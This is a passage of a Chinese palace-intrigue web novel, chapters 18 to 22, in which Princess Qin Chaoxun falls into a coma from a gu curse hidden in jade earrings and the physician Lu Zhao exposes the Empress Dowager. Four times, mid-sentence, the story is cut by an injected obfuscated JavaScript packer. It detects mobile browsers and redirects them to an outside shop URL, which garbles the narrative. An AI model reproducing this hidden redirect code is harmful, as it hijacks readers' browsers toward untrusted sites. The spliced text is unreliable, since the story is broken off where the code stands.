秦朝寻回了个礼貌的笑,想着能遇上也有缘,开口道:“这天还会热挺久的,世子如果不急,可以在此多待一会儿。听说御膳房近来研究了冰酿,本宫也有些馋了。” 她使了个眼色,那公公立马机灵起来,拍着自己的腿说:“对了对了,下官多有怠慢。世子可多留片刻,下官这就去御膳房吩咐做些解暑的冰酿来。” 他脚步突然变快,灰溜溜地先离开了御花园。 陆淮看着前面的凉亭,秦朝寻也盯准了那地方,也是刚醒,小春扶着她磕磕碰碰走起来。 陆淮准备装作初见,也没想秦朝寻来了一句:“才半月不见啊,陆世子。怎么,宫外玩腻了,想来宫里再看看?” “那倒不是……只是近来涌进的流民不少,我和我国的使者一起来商量一下对策。”陆淮丝毫不提起茶楼的事,“初见公主,倒是和传闻中不太一样。” 秦朝寻在石凳上落座,也是鲜少听到有人如此谈论自己,没忍住失声笑了。她轻轻低头,眼里闪着涟漪,“那本宫还真是好奇了,到底有哪里不太一样?” 陆淮还真想了一下,坚定答:“好像一点都不沾。” “他们说七公主说话尖酸刻薄,可我在茶楼的那日,公主却是极有耐心劝我离开京城。我自然知道京城不是安全的地方,公主若是刻薄的人,当时应该就骂我是个没见过世面的野小子了。” “其二,他们说公主因妒生恨。八公主我见过,在学堂的时候她就是很有傲气的,她身边最不缺的就是那些官家子弟。七公主周身很干净,我这个人习惯相信感觉。” 毕竟是贵客,那位公公没一会儿就带着几名御膳房的下人送来了冰酿和甜食。彼时二人的气氛有些微妙。 公公拿捂子擦了擦汗,弓着腰问:“昭阳公主,可是觉得不合口味?” 秦朝寻听了陆淮对自己的一系列“夸赞”有些飘了,看着面前这可口的冰酿,终于想起来动勺子。这冰酿是将冰捣碎灌上一些酸味的果汁,还用了小口酒调味,上面甚至还有几粒新鲜的荔枝肉。 入口即化,酒也不呛人。 陆淮池第一口就眼前一亮,甚至有些语无伦次,“吃、好吃,北离的厨子果然厉害,改天得去学学手艺了。” 公公笑着插道:“世子若是喜欢,这几日我多让御膳房做些送去。” “哈哈,那公公也太客气了。” 秦朝寻放下勺子,也思考起了陆淮刚刚说的来北离的目的。 “南都国的流民,都是哪里人?” 白衣公子表情瞬间严肃起来,沉声道:“目前还不清楚,他们长相也不像蛮人。我们的人将他们引到一处看管了起来,目前来看也不像贼匪,他们的来历还得北离国君派人去确认一番。” “不知道……从何而来的流民?妇孺老少都有吗?” “那自然。” 秦朝寻一粒荔枝肉咀嚼了许久,也是出神,险些被汁给呛到。她分析道:“流民如果不是北离过去的,会不会是东川的?” 陆淮不知道秦朝寻为什么会这么说,不过他也只是笑了笑,轻飘飘陈述这一个可能的事实:“怎么会是东川呢?公主难道不记得东川早在你们翼王执掌北离开始就几近亡国状态了吗?” 陆淮也不知道秦朝寻的生母是东川人,北离有没有灭国的确无人能给出一个正确的答案。它消失得没有痕迹,只听说这地方隔两国都不太远,可东川也从没有请过两国使者当过座上宾。 太阳暂时被挡住了些,秦朝寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121011|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些累了,也不准备继续留着陆淮,吩咐公公好生招待着,顾自回宫去了。 从申时回到见春宫后,秦朝寻也没有叫过小春上些晚膳。小春也奇了一会儿,她守到亥时也没看出秦朝寻有醒来的迹象,思来想去或许是今日奔波累了,就熄了灯离了屋子。 夜半,秦朝寻迷迷糊糊醒过一次,大声喘了两口气又静了。 屋内熏了一会儿安神香,秦朝寻实在是太累了,只有今夜睡得甚是安心。这不禁让她想起了很多年前那段安详日子了。 蜀州,秦朝寻再也回不去的地方。 那里的人们日出而作日落而息,抚养她长大的那对王氏夫妇也是极勤奋的一家。那时的秦朝寻过得还不错,每月都会有坐着马车来的公公送来不少衣物和糕点,当然,还有不少钱。 秦朝寻不知道那人什么身份,只知道他来了就能吃上好吃的,王姨娘和王叔就能轻松几日。 为了抚养她,他们甚至也没想过要一个孩子。秦朝寻其实有不少愧疚。 王姨娘坐在门前给王叔缝补着那双穿烂了不少次的布鞋,笑着对一边正在洗菜的小姑娘说:“小寻啊,不用太干净了,你看,那么大一片你都给丢了。” “不是说虫咬过的就不干净了吗?” “虫咬过的才好哩,洗洗把锅里的水倒了就能下菜了,你王叔今儿去喝酒去了,听说村里头那个董小子娶了个漂亮媳妇,改天啊咱们再去送些礼看看。” 小秦朝寻按她说的下了菜,手握着铲子来回铲,“姨娘,叔喝酒为什么要娶媳妇?” 王姨娘被这丫头逗笑了,手里穿针的线都差点没拿稳。她笑道:“不是你王叔娶媳妇,还记得之前帮你打水的那个董哥哥吧?他啊,娶媳妇了,你王叔啊,去看热闹的呢。” “娶……媳妇?” 少女学着她说话,还是不懂其中意思。 “娶媳妇啊……就是两个人住在一起过日子。也就是你王叔和我,你王叔娶了我,所以啊我是他媳妇,小寻这次听懂了吗?” “懂了,两个人一起过日子。” 王姨娘忽然想起来什么往事,有些感性,“两个人过日子也不容易,当然了,咱们小寻将来肯定能嫁一个如意郎君的。” “姨娘啊一定能看到咱们小寻出嫁。” 蜀州的日子平平淡淡,秦朝寻也没想到,自己不过是出去打了桶水,回来后看到的竟是王家生了大火。 她将手里的那桶水全泼了出去,甚至想冲进去找一找姨娘和王叔。 “姨娘!王叔!” “殿下,别去了。”绿衣姑娘不知什么时候出现,抓住了她纤细的手腕,“这火大,你若是冲进去,也不可能活着出来的。” 秦朝寻甩出眼泪,吼她道:“那是我王叔!是我的姨娘!我怎么能看着他们死在里面?你是谁?是你、是你们放的火吗?” “殿下,你救不了他们。” 她脑袋昏沉,屋内不冷不热,秦朝寻捏紧了手,身体异常的冷。 她想醒来,却睁不开眼。 笑声回荡在耳边,毫无感情:“你救不了他们,就像你救不了现在的自己一样。” 19. 第19章 “我阿姐为什么还没有醒来?大夫,看出来是什么原因了吗?” 这是秦惟送走的第六位大夫,从昨日回宫以后秦朝寻就再没有醒过,小春也试了法子叫人醒来,却发现她已手脚冰凉。 实在是没有办法,她让人去请了大夫,还把十二皇子叫回了宫。 秦惟问过小春这几日有没有什么异常,小春也只说昨日在御花园进食的冰酿没有怎么验过毒,当时南都国的世子也在,如果冰酿有问题,那位世子此时应该也昏迷着。秦惟让人去看过一眼,陆淮世子在的寿春宫今日没有任何异常。 “那个奴才呢?应如是,你先去把昨日制冰酿的厨子都带来,不要惊动陛下。” 毕竟关系秦朝寻,小春不敢瞒着,说:“那公公不陌生的,是陛下身边的一红人,如福公公。” 陛下身边的公公都是心慎之人,秦朝寻对秦燔来说有多重要他们不可能不清楚,明着陷害这等事他们可不会做。不过人最终还是被请了过来。 院子里摆了张椅子,秦惟一腿叠在另一条腿上,手里握着一只皮鞭。脚下伏着不少宫人,没他准许,一个人都不敢出声。 如福公公只觉得来见春宫这事突然,路上还想着是否是昨日让昭阳公主记恨上了,忐忑了没一会儿就被推进了见春宫,还是趴着离十二皇子最近的那一个。他大气都不敢出的啊。 “十、十二殿下,不知道找本宫来……做、做什么啊?” 秦惟也没吓他,越过如福问后面那御膳房的主厨:“昨日昭阳公主的冰酿里面,都加了些什么?” 后面那厨子手臂都在发抖,认真答道:“冰酿里加的都是荔枝捣的汁,还有咱们亲手酿的果酒,东西送出去之前我们也都会拿针试过毒。绝不可能出现什么差池的。” ……慈宁宫内,柳太后闲散躺在贵妃榻上,有人往嘴里送着解馋的零嘴,还有人帮着按摩放松放松。 嬷嬷徐徐进来,身后还领着一人,“太后,人带到了。” 路朝很会看眼色,跪下道:“下官,拜见太后娘娘。” 榻上的人正觉得这按摩手法舒服,一时也没有让人停下来。她仍是闭着眼睛,摆手让送食的侍女先去到一旁。 她声音尖细,只是问:“你就是替琳儿解毒的医师?” “是,下官路朝,师承茯苓谷。这次出谷仅是想救病治人,能够救下八公主亦是我的荣幸。” 她这番话说得也挑不出什么错来,太后没说话,身边的嬷嬷倒是好奇起来了,“这些年头自称是茯苓谷出来的骗子倒是不少,八公主当时中毒后,太医院立刻开了方子。也是喝了太医院的药之后毒性蔓延更快了,路小医师可参与其中啊?” 路朝看着这慈宁宫宫人对她如此猜忌,心里因为没有慌,“我初入太医院,自然是没有办法替公主这般的贵人看诊了,那些药材也是看诊的医官们开的,我都拿不到方子呢。” 柳太后觉得她不像在说谎,便没让嬷嬷继续咄咄逼人,“昨日哀家喝了昭阳公主送来的凉茶,她说那茶叶是你赠的。哀家这宫里也没几个煮得了好茶的人,也怕白白浪费了这点茶叶。路医师今日不如留一会儿,让这下人们学学如何煮茶。” 这位柳太后看似仁慈,实际上一开始就和这嬷嬷说好了要如何演戏,她以为自己心慈就能让路朝心甘情愿以后替她做事。 路朝没法拒绝,看着几名侍女在窗前的书案边架了炉子。她过去坐下,拿着小称称着茶叶。放入茶叶后不久,这屋子里就溢着浓浓的茶香。 慈宁宫安静倒是真的,但这宫里的人安不安分就另说了。小侍女从外进来,也没注意到里面的路朝,对着太后说道:“娘娘,刚来的消息。听说见春宫被十二皇子看管了起来,下人只看到医官和御膳房的人进去。” 嬷嬷疑道:“御膳房和医官?难道这昭阳公主也中毒了不成?” 柳太后躺在榻上俨然不动,嘴稍稍扬起说道:“中毒?秦璃的饮食起居都是她见春宫自己着手,她身边的丫头个个都不好糊弄,给她下毒,这宫里还没人做得到。” 路朝把茶沏出来稍微冷了一会儿,旁边的侍女做事也利索帮她把茶端到了太后榻边。嬷嬷笑着,哄着说:“娘娘,茶好了。” 太后抬手任人将自己扶了起来,躺久了又活动一下筋骨难免有些不适应的。这茶比昨日沏的要更香,她迫不及待接过来吹了两口气往嘴里送。 “这茶确实不错,路医师今日有劳了。嬷嬷,给路医师结一结报酬,拆人送回去吧。” 路朝被带到了慈宁宫宫门口,嬷嬷掏出一个钱袋子,分量可比路朝的俸禄要多上了不少。嬷嬷言笑晏晏把东西塞到了路朝手心握住,“路医师,这是太后娘娘的一些心意,不算贵重,还请路医师都收下。” 这个很明显就是想要用钱财收买她,其实路朝也想不明白了,自打进宫起,这已经是第三位想要拉拢她的人。但他们不知道,她想要的远不是这些。 路朝收下了这钱财,又看了看嬷嬷,问:“太后娘娘有何指示?” “路医师要知道,太后最喜欢的就是八公主了,凡事都该以八公主为先。七公主的事情,路医师不必当作大事,少放在心上。” “……路朝明白了。” 但答应归答应,路朝离开慈宁宫后就去了见春宫,但很不巧地被羽卫拦在了门外。 她吓唬道:“如果不想你们主子白白死了,最好让我进去看一眼。” 羽卫没看她,只说:“如果没有十二皇子的命令,见春宫今日谁也不能进,抱歉姑娘。” 大门从内被打开,应如是准备再去宫外找些医师,突然看到一个陌生姑娘在宫外,眼睛都瞪大了,“姑娘,您是?” 路朝见他打扮得也像个能管事的,信誓旦旦说:“让我进去看一眼,我能救你们殿下。” 应如是思忖了一会儿,把门打开仅一人能行的缝隙,“那姑娘,请。” 见春宫里几乎无人认识路朝,应如是把路朝带到了秦朝寻闺房外,又被秦惟给拦了下来。 秦惟年纪与她相仿,眼神异常寒冷,声音有些哑,问:“你是什么人?” 路朝:“恐怕是这宫里唯一能救七公主的人。” 她这话可完全没有给自己留后路,秦惟不由得深疑她的目的,“我没听说过太医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147547|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有这么狂妄的医师,纵是院使程霁来了,说这话还得思量半刻。你可想清楚了,骗我可是会掉脑袋的。” 他身上没有佩剑,手上也是拿的策马用的马鞭,但这东西打起人来也是极疼的。应如是看着她一个小姑娘家,帮着暖了暖场子说:“姑娘别怕,你放心进去看诊,有什么事,我兜着。” 秦惟横了他一眼,默声放人进去。 秦朝寻出现在人前多是穿得极度奢侈的,钱财这些她完全不缺,只是这屋子里的布置比想象的要简单许多。书案这些用的材料多是易买到的木头制的,这屋里唯一贵的怕是只有熏着香的香炉了。 路朝从药箱里拿出三根银针扎在秦朝寻的头穴上,另一手给她把脉。 脉象并无异常,她这手冷得怎么会如此不寻常? 路朝把银针拔了,又上手扒开秦朝寻颈下的那片衣物。 颈下这一片烫得发红,路朝拿出另一根银针扎进去,只见那泛红的脖颈上浮现了暗紫的纹路,随着时间的推移,这纹路也在蔓延。 “不好。”路朝眼疾手快在秦朝寻几处命穴扎上银针,又从医箱里找出一瓶东西,在每根银针上抹了药,“蛊虫……” 小春打了热水来替秦朝寻擦身子,开门就看见路朝,不禁意外道:“路大夫?您看出来殿下是中了什么毒了吗?” 路朝在这屋子里走来走去,还打开了香炉捻了一掸灰看了看,眉头拧的更紧了。她已走到梳妆台前,拿起那些首饰盒子问:“昨日她去过哪?见了什么人?” “昨日殿下去了慈宁宫给太后送了茶和茶叶,晚些时候在御花园遇上了南都国的世子。这其中殿下只吃了御膳房的冰酿……” 她一边听一边打开秦朝寻的首饰盒子,放下轻巧盒子的那一瞬,路朝被一副透亮的翡翠坠子吸引住。 这上面镶嵌翡翠的料子极好,绿翡翠莹光剔透,在光下好看无比。 路朝很笃定拿起那对坠子,问她:“这东西是哪来的?” 小春看着那翡翠坠子,答:“那是昨日太后娘娘送给殿下的,路大夫……这坠子上淬了毒吗?” “不是毒,是蛊。” 应如是看屋内没有丝毫动静,自己也担心一意孤行会耽误给秦朝寻解毒的时间,脸上有些歉意,“公子,我这就去找其他医官来看看。” 秦惟难得说了一句话,问:“这医师可是给秦琳解毒的那个?” 替秦琳解毒之后,路朝在宫里打响了名声,不过秦惟鲜少在宫中行走,也没见过。她若是医术高超,秦惟还可放心,只是他怕这个医师若是被人收买继续加害秦朝寻。 他按捺不住心里的猜忌,上前准备进去一探究竟。 吱呀。 门被打开。 路朝和他目光撞上,眼神很冷。 “十二皇子,有件事我需要和你说清楚。” 秦惟呼吸一滞,早已感觉到不对劲。 “她被人下了蛊,此蛊名为美人泣。好消息是毒性暂时能压制一会儿,还能救。” 他顿了一会儿,有些没信心,“那坏消息呢?” “她有心仪的人吗?” 20. 第20章 外殿安静无声。 路朝点了一柱香插进香炉中,而后从医箱里取了一把小匕首。应如是则是在一边看着,咽了咽口水问:路大夫瞧病还带着这玩意儿吗?” 小姑娘又取来一个小巧的酒樽,话音淡淡地道:“贵人们出行有侍卫伴行,我在这宫里无依无靠的,自然得找些东西防身用。” 秦惟没有那么多的心思再去怀疑路朝,安静在桌旁坐着看着路朝过来。 蛊这种东西他了解不深,这宫里恐怕也没几个人清楚的。路朝年纪浅却见多识广,单是这点,秦惟就已经对她刮目相看了。 路朝抓起秦惟的手,又肯定了一遍,“十二皇子,你确定这宫里或是宫外,没有与公主情投意合的人了吗?” “我确定。” 路朝初听美人泣这种蛊还是初入茯苓谷那年,她的师父比起救病治人,更擅长的就是制蛊,这也是她能在漠北被师父捡到的原因。 她吸了一口气,语重心长道:“美人泣会牵起中蛊人最深的回忆,人因此泪流不止,直到眼泪干涸……她不会痛。但是……如果十二皇子这味药非良药,她醒后我便不能保证没有其他意外。” 应如是跨上前几步想要阻止路朝动手,追问:那这个会影响到殿下吗?殿下,要不我还是请贵少爷来吧?” 路朝给了秦惟时间再思量一下,却没想到这人还有着倔脾气,“不了。我笃定整个北离,无人能比过我对我阿姐的真心。” 她将酒樽交由秦惟用另一只手拿着,自己的不紧不慢将一深褐色药水抹在秦惟腕上,又说:取血之后对你的身体影响不会很大,但你可能会睡上几日。” “……好。” 应如是看着路朝划破了秦惟的手腕,取了整整一只酒樽的量才收手。后面秦惟睡意袭来,他不得不被路朝支走。 其实他也不放心路朝会不留余力地帮助他们。她出现的时机太巧了,就好像知道秦朝寻会倒下一般。 小春收拾了一间偏殿出来给秦惟稍作休息,应如是扛着昏睡过去不省人事的皇子,面露难色道:“多谢小春姑娘好意,只是殿下住不惯宫中,况且留宿在公主的寝宫中难免有人说闲话。先告辞了……公主如果醒来,请务必通知到将军府。” 秦朝寻的寝殿中一直没有动静,小春试着在外头问过一句,被路朝搪塞过去了。 内殿里,路朝将掺了不少奇怪药材的黑血给秦朝寻灌了下去。她的银针扎在了秦朝寻四肢的穴位上,待黑血灌完,那银针全都泛黑起来。 她松了口气一般笑了起来,拿起帕子将银针收了回来。 “貌似……让我发现了一个不得了的秘密。” 路朝暂时没有离开见春宫,为了避免柳太后那边知晓,她让小春安排人出宫去采买药材。整整三日,秦朝寻才醒过来。 小春按时送药过来,见秦朝寻自己下了床。她赶忙放了药去扶她,“殿下,您身子刚好一点点,路大夫说了还得静养几日才好。” “路大夫?路朝?”秦朝寻脑子有些混乱,脚步虚浮,如果没有小春及时来扶着,恐怕又得躺上几天,她声音有些抖,问,“阿惟呢?我好像听到他来过。” “十二皇子……”小春也不知道该怎么回答,从那日路朝和十二皇子商量接触蛊毒的方法后,秦惟便再也没进过宫了,“他已经好些日子没来过了。” 昏睡的这几日她常常梦到过去,算着算着,她这一路失去的东西不多,但却背负着两条人命——王叔和王姨娘。 秦朝寻替他们安葬好了以后才跟着小春回宫的,清楚这宫里的明争暗斗后,她越发觉得那场大火是人刻意为之。一位公主对皇位造成的威胁是绝不如一位皇子的,背后的人视秦朝寻为威胁,最大的可能便是那人怕她挡了另一位公主的路。 好在这宫里如今只剩下一位公主,同样也是深受陛下爱重。 她尽量不再去想这些,声音虚弱:“……这几日可有其他变故?” 小春把事情一一道来,说完也刚好到了路朝来送新药的时候。她把路朝拿来的药带去了灶房,秦朝寻刚好想找路朝了解一些事,让小春顺便把人叫进来。 外殿换上了檀香熏着,秦朝寻示意她坐下,她也没有拒绝。 “看到殿下恢复得比预想的要好,我倒是放心了。” 秦朝寻难得会为客人倒上一杯茶,她动作还是有些迟钝,脑袋倒是清醒了,“关于本宫中的这蛊,路大夫还知道多少?” 路朝立刻笑问:“难不成殿下知道是谁下的吗?” “这宫里恨我入骨的人说多也不多,上次秦琳服毒想要栽赃给我不成,这安静了好些日子肯定是又在琢磨着如何给我使畔子呢。最近我不过去慈宁宫走了一趟,柳太后和丽妃同为柳氏一族,她虽一番热情款待可并没多少真心。” 路朝递来一颗药丸,道:“吃了它。” 她觉得秦朝寻或许会多疑,又解释:“茶叶也是有毒的,不过用量少不会致命。” 秦朝寻的确没有一开始就接了她的药,不过这茶叶当初是路朝送给她的,后面转送给太后也是某种巧合。 她一时没忍住失笑,话里带着调侃的意味,“本宫不记得何时得罪了路大夫,难道是对太医院里这小小的官职不太满意?” “……谢礼,我没想过这茶叶你会用在柳太后身上。” 她没再多疑,将药丸送进了嘴里。 “话说回来,下蛊的物什是那对翡翠坠子吗?” 路朝似乎来了兴趣,问她:“殿下想好对策了吗?” 栽赃陷害这种事情他们做得,那秦朝寻自然也能学些一二。她把茶喝下好让药丸快速咽下去,很快答:“倒也不需要栽赃了,这翡翠坠子就摆在这儿,路大夫可有办法让其他医官看得更真切?” …… 慈宁宫一直没有传进任何消息。 柳太后倒是放了几个奴婢去见春宫附近探探,倒是奇怪得很。除了事情刚发那日,后面竟是再没人见过太医院医官拜访。皇帝忙于政务,如果见春宫里的人有意隐瞒主子中毒,届时皇帝定会将这批宫人彻底换掉。 到时安排自己人进去就能容易许多。 不过下蛊这事儿可不能算在自己头上。柳太后思忖一会儿,叫上了身边的嬷嬷,“安排轿子,哀家要去见春宫一趟。” 晌午时分,太后的轿子在见春宫外停下。 为首的嬷嬷先是呵斥了门口的羽卫,“太后驾到为何不跪?你们见春宫的人真是眼高手低得很!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦燔沉声问:“怎么?公主如今病到叫不醒了吗?那为何不请医官!朕让你们照顾公主,你们就是如此照顾的吗?” 侍女们连连跪下,磕着脑袋。其中一人道:“陛下息怒,奴婢……奴婢们也不想的,只是已经请过医官来了,他们都查不出殿下究竟是生了什么病。这些日子,见春宫的下人们都没日没夜守着,尤其是小春姑娘……还请陛下不要怪罪她……” 柳太后作势问:“可是和琳儿那次一样中毒了啊?哀家记得见春宫里那位小春姑娘可是……” 她没接着说下去,不过这事秦燔也有所耳闻。只是那段日子政务也忙得不可开交,后面听说秦琳的毒已解,下毒之人也有六皇子着手去查。但太后今日提起见春宫的侍女下毒,他却不由得把头往回撇。 小春,他有些印象。 当年接秦朝寻回宫,他让公公安排一个值得信的宫女服侍左右。仔细说来,她也是自己这边的人。 柳太后还想着秦燔会先处置一下这些宫女,没想等来了他一句,“速请太医院的人过来。” “不用请了,他们可治不了蛊毒。” 寝殿的门被打开,路朝正视柳太后,眼神凛冽。 21. 第21章 嬷嬷有些沉不住气,柳太后难得反应快一步及时把人推至身后。 秦燔看着路朝把门掩上,火急火燎问:“那毒……” “暂时无碍,不过此蛊凶险,远比普通毒药更折煞人寿命,下官斗胆请陛下严查下蛊之人。” 路朝这么请愿对秦燔来说没有坏事。既然蛊毒凶险,他贵为北离之主,就一定要为北离百姓的安危考虑的。 他看路朝这么说,也觉得她心里或许有了些猜测,“那大夫,可知道公主如何中的毒?” 如福公公眯了眯眼,赶着撇清干系,“陛下,前几日奴才被请来过见春宫……起因是邵阳殿下食用了御膳房的冰酿,但御膳房的人皆可证明冰酿种无毒,南都国那位世子殿下也食用了,是无碍的。” 柳太后脸一沉,手在袍子下握紧。 小春小跑进来,“扑通”跪在秦燔脚下,磕头道:“那日殿下只去过两处地方,回来后便睡了没再醒来。奴婢担惊受怕请十二皇子来查,也只查到问题并非出在冰酿上。奴婢不敢……不敢继续告诉十二皇子其他事了……” 她身子微微颤抖,那嬷嬷沉不住气,喊道:“你这贱婢……” “住嘴!”秦燔似乎怒气上来了,惊得嬷嬷立刻住了嘴,“你但说无妨,朕不会怪罪于你。” 小春道:“那日殿下最先去的是慈宁宫,临走前太后娘娘送了殿下一对价值不菲的翡翠坠子。” 路朝话也接得快,拿出首饰盒举给柳太后看,“翡翠坠子?是这对吗?” 她们这一唱一和的明摆着就是冲着她慈宁宫来的,太后咽了一口气,倒也没否认,“这的确是哀家送给昭阳公主的那对,不过哀家可不知道蛊毒,大夫又能如何证明这上面有毒?” 若要在一种东西上下蛊,则需要将东西浸在毒液中。柳太后肯定是一开始就销毁了盛着毒的坛子,她就是算准了这蛊毒一旦转移到了人身上,原先的载物就不会留下任何痕迹。 柳太后笑了没半刻,只见有侍女取来了盛着清水的盆子放在地上。路朝徒手将包裹着翡翠的那一圈银边撬开,一同扔进了清水中。 翡翠和那银圈在清水中静置了许久,柳太后看她不过也是想作势吓吓自己,这蛊毒早已转移到了秦朝寻身上,怎么可能还查的出来。她不苟言笑,轻轻道:“路大夫还是莫要吓哀家了,哀家送这翡翠也是看它与昭阳公主手上那翡翠镯子在一起耶相得益彰。哀家自然不能抢小辈的东西,索性就送了出去。路大夫此举,可真是寒了哀家的心。” 她身后的嬷嬷再次开口,这次则是不准备继续惯着她们继续“污蔑”了,“胆敢污蔑太后,来人呐,把她们拖下去好好管教!” “陛下,奴婢没有!公主她……” 如福公公也有些为难,恍然抬起头看到那清水逐渐变了色,舌头都拧在一块儿说不清楚话来。 “水、清这儿……” 水变黑了。 秦燔问路朝:“这是怎么回事?” 路朝隔着襟帛拿起一根银针,在侍女打燃的火上烧了一会儿,将针头插进那盆黑水中,再取出来时,银针黑得彻彻底底。她笑着答:“在场这么多双眼睛应当都看清楚了吧?这对翡翠坠子的确被下了蛊。” 皇帝久久没说话。这殿内是他最珍爱的女儿,有人要她死,他不可能坐视不管。良久,他冷着眼看柳太后,问:“太后,朕需要一个解释。” “哀家不知。哀家从不知道蛊毒为何,哀家与昭阳公主无冤无仇,又为何要害她?这坠子哀家也是收来的,想来也是为了谋害哀家,只是阴差阳错让昭阳公主受了罪。哀家当初也是出于真心,还请陛下明察!” 柳太后越是急于撇清关系,心里越是有鬼。眼下也无其他证据指名是太后的手笔,他也确实对这个结果不怎么满意,只道:“既然这东西是有来处的,那太后的这位嬷嬷就跟着走一趟慎刑司吧。” 嬷嬷两眼放大,两手早就被侍卫抓住往宫外拖出去。 “陛下冤枉啊!老奴不敢对公主动手啊!太后娘娘,老奴侍奉您十多年……” 柳太后眼皮子都不带眨的。她知道皇帝找不到一个始作俑者,再怎么也会找一个人先去顶罪的。秦燔早就忌惮柳家独大了,今日挫了她慈宁宫的锐气,倒是能让柳氏一族暂时安分。 完全撕破脸,他还是做不到了。 “太后这宫里心怀鬼胎的人也多了,今日开始,朕会安排侍卫过去好生保护太后。”他眼神又一转,回到了路朝身上。 路朝年纪看着小,医术却是极高,留下她也是好事。更何况秦燔也有恩于她。皇帝说话亲切了起来,任命道:“路医官医术高明,更是胜过太医院的御医。即日起,朕任命你为太医院院判,同时负责太医院所有药材出入。” 见春宫的灶房很晚还亮着,小春拿帕子重重裹着药坛子跑进了秦朝寻的寝殿中。 路朝在这儿留了许久,连着把了几次脉。 “脉象倒是平稳了许多,可有头疼的现象?” “头疼倒是没有,只是眼睛暂时还见不了强光。”秦朝寻闻到药味就没忍住拿衣袖掩住鼻子,眉头拧做一团,“还未恭喜路院判,本宫也越来越好奇了,你入宫的目的会是什么?” 路朝过去帮小春把药渣给过滤,显然不想回答秦朝寻。 秦朝寻猜道:“你之前给秦琳下了一记猛药,本宫倒是猜过你和她也许有什么恩怨。如今看到你又帮着我除掉了太后身边的得力嬷嬷,我觉得你也是朝着柳氏一族过去的?那我们也能算是一路人了。” 那记猛药其实也是冲着秦琳性命去的,如果不是秦朝寻把自己拦下,她也不准备给人解毒。 她帮过秦朝寻,所以她安排自己进了太医院,早就一笔勾销了。 路朝完全可以否认是自己做的,但听到秦朝寻的侍女替自己背了锅,她心里过意不去。她没想要把其他无辜的人牵扯进来。 思及此,路朝缓缓开口,问:“再有一月,钦天监就会举行大祭前的诵经会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“丽妃想要秦硕坐上太子之位,这等腌臜事情瞒着不过是不想连累他。不过一个太子之位,若不是皇帝老头把秦朝寻看得那么重,谁会想着处处针对秦朝寻。而且秦惟也是皇子,他们就是怕秦朝寻影响皇帝得判断。”秦策忽然笑了,有些嘲讽,“不过也是,秦惟这些年没少显露锋芒。太厉害了可不是好事儿。” “继续说,请我做什么?” 东方贵总算听他招呼自己说正事,“你拜托我做的事情我可是做到了。你要我帮你查那些劫匪,我找到了几个,他们是临时接的悬赏,为了赚快钱。发悬赏的人不用我说你也猜得到,只要你愿意,人我带到慎刑司。” 秦策手上的力仿佛要把瓷杯握碎。东方贵带来的是好消息,可同时也会影响到康郡王府。 小郡主刚出生不久,少不了人照顾,可他也难以忍耐如今的康郡王府。他放下拳头,终于做出了选择:“不必在意我郡王府的面子,你尽管去做。” “……”东方贵笑不出声,把茶一饮而尽,“等我,到时候再邀你一起去吃酒!” “东方贵,你也代我给她去赔个罪。” 他哂笑道:“那我恐怕做不到,你自个儿去吧。” 22. 第22章 秦惟休养了不少天。 这几日见春宫来过几次信,都是应如是学着他的语气让人报给了宫里。 路朝取血的法子实在是折煞人,他扶着脑子坐到院子里,大口呼了好几口气。 “应如是,我阿姐来信了吗?” “公子,七公主已经好了有一阵子了。不过眼下这个还不是最要紧的,郡王府出事了……” 慎刑司外一清早就来了两名中年人,按道理说有冤情肯定是先去衙门,可这两人就奇怪得很,偏跪在了慎刑司大门口。 爱看热闹的街坊邻居还不少,等人多了,慎刑司里不得不走出来一名官差问起因何故来此。 满脸糙胡子的汉子喊:“鄙人当年为了钱财鬼迷心窍,杀了前康郡王妃!这些年心里实在过意不去,特来请罪。” 消息一路传满了整个巷子,康郡王府收了消息也是立刻备车前往了慎刑司,荣檀自然也被秦策一同叫走了。 马车内的氛围一如既往的清冷,荣檀脸沉了一路,心里满是不安。不料全被秦策看在眼里,他难得如此温情地问自己:“王妃这是怎么了?一副心神不宁的样子?” 私下里秦策也极少会称呼自己为“王妃”,这些年荣檀对他的感情只增不减。可她知道秦策是不爱自己的,小郡主的出生也是他酒后的一场意外。秦策……一开始也容不得这意外的,很长一段时间她在康郡王府里没见到秦策的身影。 秦策也觉得自己不是个家伙。他心悦荣秋,转眼又娶了荣檀,还有了夫妻之实。他曾经口口声声说着此生仅有荣秋一位妻子,如今却到处花天酒地,完全失了自己的本心。 荣檀声音很不对劲,哑哑的:“许是……照顾禾儿,没休息好。夫、郡王莫怪。” 